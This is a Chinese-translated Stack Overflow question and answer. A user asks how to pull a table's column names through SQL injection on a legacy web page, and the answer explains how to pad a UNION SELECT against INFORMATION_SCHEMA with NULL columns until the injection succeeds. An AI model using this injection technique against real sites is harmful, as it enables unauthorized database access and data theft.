首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法获取数据库的列名

问无法获取数据库的列名
EN

Stack Overflow用户
提问于 2019-03-02 05:45:56
回答 1查看 317关注 0票数 0

我正在尝试使用以下修改后的SQL语句从遗留系统中获取列名:

代码语言:javascript
复制
 SELECT * 
 FROM drinks 
 WHERE drinkname='smirnoff' 
 UNION 
 SELECT COLUMN_NAME 
 FROM INFORMATION_SCHEMA.COLUMNS 
 WHERE TABLE_NAME = 'drinks'

但是网页抛出了一个错误,说它无法执行我修改后的查询。

如何通过sql注入获取drinks表的字段名?

EN

回答 1

Stack Overflow用户

发布于 2019-03-02 06:02:46

在任何UNION查询中,与UNION组合的每个SELECT中的列数必须相同。换句话说,以下是一个错误,因为列数不同:

代码语言:javascript
复制
SELECT a, b, c FROM table1
UNION 
SELECT a, b FROM table1

在执行SQL注入时,您可能不知道要利用的查询的select-list中的列数。根据需要添加更多NULL列。只要继续尝试,直到你得到成功的东西。

代码语言:javascript
复制
SELECT * FROM drinks WHERE drinkname='smirnoff' 
UNION 
SELECT COLUMN_NAME, NULL, NULL, NULL, ...
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'drinks'

这可能看起来冗长乏味且容易出错。

但是,实施SQL注入攻击的犯罪分子动机很强。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/54952727

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档